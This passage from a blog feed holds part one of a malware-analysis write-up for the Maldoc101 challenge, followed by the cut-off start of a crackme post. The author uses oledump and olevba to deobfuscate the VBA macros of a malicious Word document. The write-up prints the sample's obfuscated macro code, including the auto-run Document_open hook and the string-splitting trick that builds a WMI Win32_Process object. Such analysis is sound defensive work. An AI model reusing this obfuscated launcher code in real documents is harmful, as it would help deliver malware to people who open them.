&lt;span class="go"&gt;  9:      2112 &amp;#39;Macros/VBA/__SRP_0&amp;#39;&lt;/span&gt;
&lt;span class="go"&gt; 10:       190 &amp;#39;Macros/VBA/__SRP_1&amp;#39;&lt;/span&gt;
&lt;span class="go"&gt; 11:       532 &amp;#39;Macros/VBA/__SRP_2&amp;#39;&lt;/span&gt;
&lt;span class="go"&gt; 12:       156 &amp;#39;Macros/VBA/__SRP_3&amp;#39;&lt;/span&gt;
&lt;span class="go"&gt; 13: M    1367 &amp;#39;Macros/VBA/diakzouxchouz&amp;#39;&lt;/span&gt;
&lt;span class="go"&gt; 14:       908 &amp;#39;Macros/VBA/dir&amp;#39;&lt;/span&gt;
&lt;span class="go"&gt; 15: M    5705 &amp;#39;Macros/VBA/govwiahtoozfaid&amp;#39;&lt;/span&gt;
&lt;span class="go"&gt; 16: m    1187 &amp;#39;Macros/VBA/roubhaol&amp;#39;&lt;/span&gt;
&lt;span class="go"&gt; 17:        97 &amp;#39;Macros/roubhaol/\x01CompObj&amp;#39;&lt;/span&gt;
&lt;span class="go"&gt; ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I later noticed that there is an upper-case and lower-case &lt;em&gt;M&lt;/em&gt;. I learned that the upper-case &lt;em&gt;M&lt;/em&gt; denotes a macro with a code. The lower-case denotes a user form. This is a distinction that will be important later in this challenge.&lt;/p&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;What command-line argument with Oledump do you use to view the raw content of a stream? (Do not include the leading dash) &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The next question is another easy one which ran easily be solved through &lt;code&gt;oledump.py&lt;/code&gt;'s &lt;em&gt;--help&lt;/em&gt; parameter.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gp"&gt;$ &lt;/span&gt;oledump.py&lt;span class="w"&gt; &lt;/span&gt;--help
&lt;span class="go"&gt;Usage: oledump.py [options] [file]&lt;/span&gt;
&lt;span class="go"&gt;Analyze OLE files (Compound Binary Files)&lt;/span&gt;

&lt;span class="go"&gt;Options:&lt;/span&gt;
&lt;span class="go"&gt;  --version             show program&amp;#39;s version number and exit&lt;/span&gt;
&lt;span class="go"&gt;  -h, --help            show this help message and exit&lt;/span&gt;
&lt;span class="go"&gt;  -m, --man             Print manual&lt;/span&gt;
&lt;span class="go"&gt;  -s SELECT, --select=SELECT&lt;/span&gt;
&lt;span class="go"&gt;                        select item nr for dumping (a for all)&lt;/span&gt;
&lt;span class="go"&gt;  -d, --dump            perform dump&lt;/span&gt;
&lt;span class="go"&gt;  -x, --hexdump         perform hex dump&lt;/span&gt;
&lt;span class="go"&gt;  -a, --asciidump       perform ascii dump&lt;/span&gt;
&lt;span class="go"&gt;  -A, --asciidumprle    perform ascii dump with RLE&lt;/span&gt;
&lt;span class="go"&gt;  -S, --strings         perform strings dump&lt;/span&gt;
&lt;span class="go"&gt;  -T, --headtail        do head &amp;amp; tail&lt;/span&gt;
&lt;span class="go"&gt;  -v, --vbadecompress   VBA decompression&lt;/span&gt;
&lt;span class="go"&gt;  ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The answer to question number two is easy to spot.&lt;/p&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;What event is used to begin the execution of the macros?  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I used a different tool for this particular question mostly because I knew that it already shows the information I need to answer the question. The tool is called &lt;code&gt;olevba&lt;/code&gt; which is part of the &lt;a href="https://github.com/decalage2/oletools"&gt;oletools&lt;/a&gt; package of Python tools. &lt;em&gt;Olevba&lt;/em&gt; is used for extracting and analyzing VBA macro source code for MS Office documents.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gp"&gt;$ &lt;/span&gt;olevba&lt;span class="w"&gt; &lt;/span&gt;sample.bin
&lt;span class="go"&gt;+----------+--------------------+---------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;|Type      |Keyword             |Description                                  |&lt;/span&gt;
&lt;span class="go"&gt;+----------+--------------------+---------------------------------------------+&lt;/span&gt;
&lt;span class="go"&gt;|AutoExec  |Document_open       |Runs when the Word or Publisher document is  |&lt;/span&gt;
&lt;span class="go"&gt;|          |                    |opened                                       |&lt;/span&gt;
&lt;span class="go"&gt;|Suspicious|Create              |May execute file or a system command through |&lt;/span&gt;
&lt;span class="go"&gt;|          |                    |WMI                                          |&lt;/span&gt;
&lt;span class="go"&gt;|Suspicious|showwindow          |May hide the application                     |&lt;/span&gt;
&lt;span class="go"&gt;|Suspicious|CreateObject        |May create an OLE object                     |&lt;/span&gt;
&lt;span class="go"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="onto-the-main-event"&gt;Onto the main event&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;What malware family was this maldoc attempting to drop?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I figured that the way for me to determine the answer for the question above is to start investigating the macro codes included in the document.&lt;/p&gt;
&lt;p&gt;I knew from the previous question that the entry point to begin the execution of the macros is with the function &lt;code&gt;Document_open()&lt;/code&gt;. The next step is to look for this entry point and go through the code to understand what the macro is doing.&lt;/p&gt;
&lt;p&gt;To view the contents of a stream, I used the command below:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gp"&gt;$ &lt;/span&gt;oledump.py&lt;span class="w"&gt; &lt;/span&gt;sample.bin&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-v
&lt;span class="go"&gt;Attribute VB_Name = &amp;quot;diakzouxchouz&amp;quot;&lt;/span&gt;
&lt;span class="go"&gt;Attribute VB_Base = &amp;quot;1Normal.ThisDocument&amp;quot;&lt;/span&gt;
&lt;span class="go"&gt;Attribute VB_GlobalNameSpace = False&lt;/span&gt;
&lt;span class="go"&gt;Attribute VB_Creatable = False&lt;/span&gt;
&lt;span class="go"&gt;Attribute VB_PredeclaredId = True&lt;/span&gt;
&lt;span class="go"&gt;Attribute VB_Exposed = True&lt;/span&gt;
&lt;span class="go"&gt;Attribute VB_TemplateDerived = True&lt;/span&gt;
&lt;span class="go"&gt;Attribute VB_Customizable = True&lt;/span&gt;
&lt;span class="go"&gt;Private Sub _&lt;/span&gt;
&lt;span class="go"&gt;Document_open()&lt;/span&gt;
&lt;span class="go"&gt;boaxvoebxiotqueb&lt;/span&gt;
&lt;span class="go"&gt;End Sub&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In the above output, I saw that &lt;code&gt;Document_open()&lt;/code&gt; contains a single line of code which is a call to function &lt;code&gt;boaxvoebxiotqueb'&lt;/code&gt;. This function is included in stream &lt;code&gt;15&lt;/code&gt; which can be viewed with the command:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;oledump.py&lt;span class="w"&gt; &lt;/span&gt;sample.bin&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-v
Attribute&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;VB_Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;govwiahtoozfaid&amp;quot;&lt;/span&gt;
Function&lt;span class="w"&gt; &lt;/span&gt;boaxvoebxiotqueb&lt;span class="o"&gt;()&lt;/span&gt;
&lt;span class="nv"&gt;gooykadheoj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Chr&lt;span class="o"&gt;(&lt;/span&gt;roubhaol.Zoom&lt;span class="w"&gt; &lt;/span&gt;+&lt;span class="w"&gt; &lt;/span&gt;Int&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;*&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt;
Dim&lt;span class="w"&gt; &lt;/span&gt;c7�ATOQe2�j&lt;span class="w"&gt; &lt;/span&gt;As&lt;span class="w"&gt; &lt;/span&gt;Integer
c7�ATOQe2�j&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6&lt;/span&gt;
Do&lt;span class="w"&gt; &lt;/span&gt;While&lt;span class="w"&gt; &lt;/span&gt;c7�ATOQe2�j&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;+&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
c7�ATOQe2�j&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;c7�ATOQe2�j&lt;span class="w"&gt; &lt;/span&gt;+&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;DoEvents
Loop
&lt;span class="nv"&gt;haothkoebtheil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fqw2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fqin2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fqm2342772g3&amp;amp;*gs7712ffvs626fqgm2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fqt2342772g3&amp;amp;*gs7712ffvs626fq&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;+&lt;span class="w"&gt; &lt;/span&gt;gooykadheoj&lt;span class="w"&gt; &lt;/span&gt;+&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fq:w2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fqin2342772g3&amp;amp;*gs7712ffvs626fq322342772g3&amp;amp;*gs7712ffvs626fq_2342772g3&amp;amp;*gs7712ffvs626fq&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;+&lt;span class="w"&gt; &lt;/span&gt;roubhaol.joefwoefcheaw&lt;span class="w"&gt; &lt;/span&gt;+&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;2342772g3&amp;amp;*gs7712ffvs626fqr2342772g3&amp;amp;*gs7712ffvs626fqo2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fqc2342772g3&amp;amp;*gs7712ffvs626fqes2342772g3&amp;amp;*gs7712ffvs626fqs2342772g3&amp;amp;*gs7712ffvs626fq&amp;quot;&lt;/span&gt;
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The above output contains more lines of what looks like gibberish code. Upon further inspection I realized that it's actually obfuscated. I can see common coding patterns which tells me that I could make sense of the code if I step through it and organize it so it is easy to understand.&lt;/p&gt;
&lt;p&gt;The first line of the &lt;code&gt;boaxvoebxiotqueb&lt;/code&gt; shows:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;gooykadheoj = Chr(roubhaol.Zoom + Int(5 * 3))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;What's &lt;code&gt;roubhaol&lt;/code&gt;? Since this is the first line in the function, I know that it is not a locally defined variable. It must be declared somplace else.&lt;/p&gt;
&lt;p&gt;After looking around I learned that &lt;code&gt;roubhaol&lt;/code&gt; is a the name of the user form at stream &lt;em&gt;16&lt;/em&gt;.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="go"&gt;16: m    1187 &amp;#39;Macros/VBA/roubhaol&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So the next step is figuring out what &lt;code&gt;roubhaol.Zoom&lt;/code&gt;'s value is. This value is not set anywhere in any of the macros by code. This means that the value is set in the form itself. To confirm, I opened up the Word document, pressed &lt;code&gt;Alt+F11&lt;/code&gt; to open up the Visual Basic editor and then opened the &lt;code&gt;roubhaol&lt;/code&gt; form. At the bottom we see that the value of &lt;code&gt;Zoom&lt;/code&gt; is set to &lt;code&gt;100&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="maldoc101-writeup-01" src="https://www.accidentalrebel.com/images/maldoc101-writeup-01.png" /&gt;&lt;/p&gt;
&lt;p&gt;This means that by simulating the first line of code again we find that the variable &lt;code&gt;gooykadheoj&lt;/code&gt; gets the character value of &lt;code&gt;s&lt;/code&gt;.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;gooykadheoj = Chr(roubhaol.Zoom + Int(5 &lt;span class="gs"&gt;* 3))&lt;/span&gt;
&lt;span class="gs"&gt;gooykadheoj = Chr(100 + Int(5 *&lt;/span&gt; 3))
gooykadheoj = Chr(115)
gooykadheoj = Chr(115) # character &amp;quot;s&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I then proceeded to go through the next set of lines.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;Dim&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;c7&lt;/span&gt;�&lt;span class="nv"&gt;ATOQe2&lt;/span&gt;�&lt;span class="nv"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;As&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Integer&lt;/span&gt;
&lt;span class="nv"&gt;c7&lt;/span&gt;�&lt;span class="nv"&gt;ATOQe2&lt;/span&gt;�&lt;span class="nv"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;
&lt;span class="k"&gt;Do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;While&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;c7&lt;/span&gt;�&lt;span class="nv"&gt;ATOQe2&lt;/span&gt;�&lt;span class="nv"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="nv"&gt;c7&lt;/span&gt;�&lt;span class="nv"&gt;ATOQe2&lt;/span&gt;�&lt;span class="nv"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;c7&lt;/span&gt;�&lt;span class="nv"&gt;ATOQe2&lt;/span&gt;�&lt;span class="nv"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;DoEvents&lt;/span&gt;
&lt;span class="k"&gt;Loop&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This one is easier to simulate. &lt;code&gt;c7�ATOQe2�j&lt;/code&gt; is assigend 6. And then there's a loop that adds &lt;code&gt;5&lt;/code&gt; that eventually results to the value of &lt;code&gt;16&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But wait, something is fishy here. The variable &lt;code&gt;c7�ATOQe2�j&lt;/code&gt; is not found anywhere else after the block of code above. This tells us that this is just junk code that does not really do anything aside from waste an analyst's time! Sneaky sneaky.&lt;/p&gt;
&lt;p&gt;To save me the time I proceeded to remove all junk code. I did this by going through each variables and seeing if they are used somewhere useful. If not, then they are safe to remove.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Attribute VB_Name = &amp;quot;govwiahtoozfaid&amp;quot;
Function boaxvoebxiotqueb()
    gooykadheoj = Chr(roubhaol.Zoom + Int(5 * 3))

    haothkoebtheil = &amp;quot;2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fqw2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fqin2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fqm2342772g3&amp;amp;*gs7712ffvs626fqgm2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fqt2342772g3&amp;amp;*gs7712ffvs626fq&amp;quot; + gooykadheoj + &amp;quot;2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fq:w2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fqin2342772g3&amp;amp;*gs7712ffvs626fq322342772g3&amp;amp;*gs7712ffvs626fq_2342772g3&amp;amp;*gs7712ffvs626fq&amp;quot; + roubhaol.joefwoefcheaw + &amp;quot;2342772g3&amp;amp;*gs7712ffvs626fqr2342772g3&amp;amp;*gs7712ffvs626fqo2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fqc2342772g3&amp;amp;*gs7712ffvs626fqes2342772g3&amp;amp;*gs7712ffvs626fqs2342772g3&amp;amp;*gs7712ffvs626fq&amp;quot;

    deulsaocthuul = juuvzouchmiopxeox(haothkoebtheil)

    Set tiajriokchaoy = CreateObject(deulsaocthuul)

    deaknaugthein = roubhaol.kaizseah.ControlTipText
    giakfeiw = deulsaocthuul + gooykadheoj + roubhaol.paerwagyouqumeid.ControlTipText + deaknaugthein
    queegthaen = giakfeiw + roubhaol.joefwoefcheaw

    Set deavjoajsear = luumlaud(queegthaen)

    xve = Array &lt;span class="ge"&gt;_&lt;/span&gt;
&lt;span class="ge"&gt;        (&amp;quot;1234444123&amp;quot;, tiajriokchaoy. _&lt;/span&gt;
        Create(geulgelquuuj, kaenhaig, deavjoajsear), &amp;quot;9938723&amp;quot;)
End Function

Function juuvzouchmiopxeox(yiajthoavheiw)
    geutyoeytiestheug = yiajthoavheiw
    feaxgeip = Split(geutyoeytiestheug, &amp;quot;2342772g3&amp;amp;*gs7712ffvs626fq&amp;quot;)

    jaquhoiqu = csqw + Join(feaxgeip, eihnx)
    juuvzouchmiopxeox = jaquhoiqu
End Function

Function geulgelquuuj()
    sjiqw = roubhaol.gaoddaicsauktheb.Pages(10 / 10).ControlTipText
    geulgelquuuj = juuvzouchmiopxeox(sjiqw)
End Function

Function luumlaud(zeolkaepxoag)
    Set luumlaud = CreateObject(zeolkaepxoag)
    Dim vPu As String
    vPu = Replace$(&amp;quot;BenqV1�igVwifwdQq&amp;quot;, &amp;quot;BenqV1�i&amp;quot;, &amp;quot;on5�&amp;quot;)
        luumlaud &lt;span class="ge"&gt;_&lt;/span&gt;
&lt;span class="ge"&gt;        . _&lt;/span&gt;
        showwindow = (mujgoiy + jioyseertioch) + (neivberziok + xuajroegquoudcaij)
End Function
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As you can see above, the code is shorter. It's also a little easier to understand. Only a little though, we still need to step through the code carefully to have a better grasp of what it is doing.&lt;/p&gt;
&lt;p&gt;Let's take on the next line:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;haothkoebtheil = &amp;quot;2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fqw2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fqin2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fqm2342772g3&amp;amp;*gs7712ffvs626fqgm2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fqt2342772g3&amp;amp;*gs7712ffvs626fq&amp;quot; + gooykadheoj + &amp;quot;2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fq:w2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fqin2342772g3&amp;amp;*gs7712ffvs626fq322342772g3&amp;amp;*gs7712ffvs626fq_2342772g3&amp;amp;*gs7712ffvs626fq&amp;quot; + roubhaol.joefwoefcheaw + &amp;quot;2342772g3&amp;amp;*gs7712ffvs626fqr2342772g3&amp;amp;*gs7712ffvs626fqo2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fqc2342772g3&amp;amp;*gs7712ffvs626fqes2342772g3&amp;amp;*gs7712ffvs626fqs2342772g3&amp;amp;*gs7712ffvs626fq&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If we look at the string carefully we would notice that a set of strings is concatenated with two variables. These variables are &lt;code&gt;gooykadheoj&lt;/code&gt; and &lt;code&gt;roubhaol.joefwoefcheaw&lt;/code&gt;. We already know the value of &lt;code&gt;gooykadheoj&lt;/code&gt;. So what's the value of &lt;code&gt;roubhaol.joefwoefcheaw&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;I got this value by going back to Visual Basic Editor and selelecting &lt;code&gt;joefwoefcheaw&lt;/code&gt;. The value we need is listed under &lt;code&gt;Text&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="maldoc101-writeup-02" src="https://www.accidentalrebel.com/images/maldoc101-writeup-02.png" /&gt;&lt;/p&gt;
&lt;p&gt;Substituting the values &lt;code&gt;s&lt;/code&gt; and &lt;code&gt;P&lt;/code&gt; I got the following:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;haothkoebtheil = &amp;quot;2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fqw2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fqin2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fqm2342772g3&amp;amp;*gs7712ffvs626fqgm2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fqt2342772g3&amp;amp;*gs7712ffvs626fqs2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fq:w2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fqin2342772g3&amp;amp;*gs7712ffvs626fq322342772g3&amp;amp;*gs7712ffvs626fq_2342772g3&amp;amp;*gs7712ffvs626fqP2342772g3&amp;amp;*gs7712ffvs626fqr2342772g3&amp;amp;*gs7712ffvs626fqo2342772g3&amp;amp;*gs7712ffvs626fq2342772g3&amp;amp;*gs7712ffvs626fqc2342772g3&amp;amp;*gs7712ffvs626fqes2342772g3&amp;amp;*gs7712ffvs626fqs2342772g3&amp;amp;*gs7712ffvs626fq&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It still doesn't clear up the gibberish, but at least it's now one big string. This same string is then passed as a parameter to function &lt;code&gt;juuvzouchmiopxeox&lt;/code&gt;. &lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;deulsaocthuul = juuvzouchmiopxeox(haothkoebtheil)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Let's look at the code inside &lt;code&gt;juuvzouchmiopxeox&lt;/code&gt;.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Function juuvzouchmiopxeox(yiajthoavheiw)
    geutyoeytiestheug = yiajthoavheiw
    feaxgeip = Split(geutyoeytiestheug, &amp;quot;2342772g3&amp;amp;*gs7712ffvs626fq&amp;quot;)

    jaquhoiqu = csqw + Join(feaxgeip, eihnx)
    juuvzouchmiopxeox = jaquhoiqu
End Function
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Following the code we could see that the passed string is splitted using the call to the function &lt;code&gt;Split&lt;/code&gt; with the substring &lt;code&gt;2342772g3&amp;amp;*gs7712ffvs626fq&lt;/code&gt;. This simply means that the substring is removed from the input string. The result of &lt;code&gt;Split&lt;/code&gt; is then joined into one string using &lt;code&gt;Join&lt;/code&gt;. There are the variables &lt;code&gt;csqw&lt;/code&gt; and &lt;code&gt;eihnx&lt;/code&gt;, they don't alter the string as these variables are empty. &lt;/p&gt;
&lt;p&gt;At the end of this function the value of the passed string is now:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;winmgmts&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;win32_Process&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Aha! Something that is not gibberish for a change!&lt;/p&gt;
&lt;p&gt;Going back to the caller function, the result of &lt;code&gt;juuvzouchmiopxeox&lt;/code&gt; is saved to &lt;code&gt;deulsaocthuul&lt;/code&gt;.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;    deulsaocthuul = juuvzouchmiopxeox(haothkoebtheil)

    Set tiajriokchaoy = CreateObject(deulsaocthuul)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;After that an object is created out of &lt;code&gt;deaulsaocthuul&lt;/code&gt;, which we know contains &lt;code&gt;winmgmts:win32_Process&lt;/code&gt;. &lt;/p&gt;
&lt;p&gt;Looking at &lt;a href="https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-process"&gt;the microsoft docs&lt;/a&gt; I find out that &lt;code&gt;The Win32_Process WMI class represents a process on an operating system.&lt;/code&gt;. Interesting.&lt;/p&gt;
&lt;h2 id="taking-a-step-back"&gt;Taking a step back&lt;/h2&gt;
&lt;p&gt;At this point there are already a number of questions that we could answer based on what we've done so far. Some are not yet answerable at the moment, however, so nothing left to do but to push forward. But that will be for the next part of this two part series.&lt;/p&gt;
&lt;p&gt;Until then, I'm taking a step back as I marvel at my progress. It wouldn't take long until all the pieces would fall into place.&lt;/p&gt;
&lt;p&gt;For the next part of this writeup, see &lt;a href="https://www.accidentalrebel.com/maldoc101-writeup-part-2.html"&gt;Maldoc101 Writeup Part 2&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you enjoyed this, see the &lt;a href="https://www.accidentalrebel.com/the-emprisa-maldoc-challenge.html"&gt;Emprisa Maldoc challenge&lt;/a&gt; I created on CyberDefenders, directly inspired by Maldoc101.&lt;/p&gt;</content><category term="Malware Analysis"/><category term="re"/><category term="malware_analysis"/><category term="malware"/></entry><entry><title>IOLI Crackme 0x02</title><link href="https://www.accidentalrebel.com/ioli-crackme-0x02.html" rel="alternate"/><published>2021-03-06T10:34:00+08:00</published><updated>2021-03-06T10:34:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2021-03-06:/ioli-crackme-0x02.html</id><summary type="html">&lt;p&gt;IOLI Crackme 0x02 walkthrough — computing the password via static analysis of x86 arithmetic, then confirming with dynamic analysis by stepping through IDA.&lt;/p&gt;</summary><content type="html">&lt;p&gt;I am continuing my reverse engineering review by tackling the &lt;em&gt;IOLI crackmes&lt;/em&gt; by &lt;a href="https://twitter.com/pof"&gt;@pof&lt;/a&gt;. These are beginner friendly challenges that is perfect for newbies or for those who want to review the basics like me. Check out my writeups for &lt;a 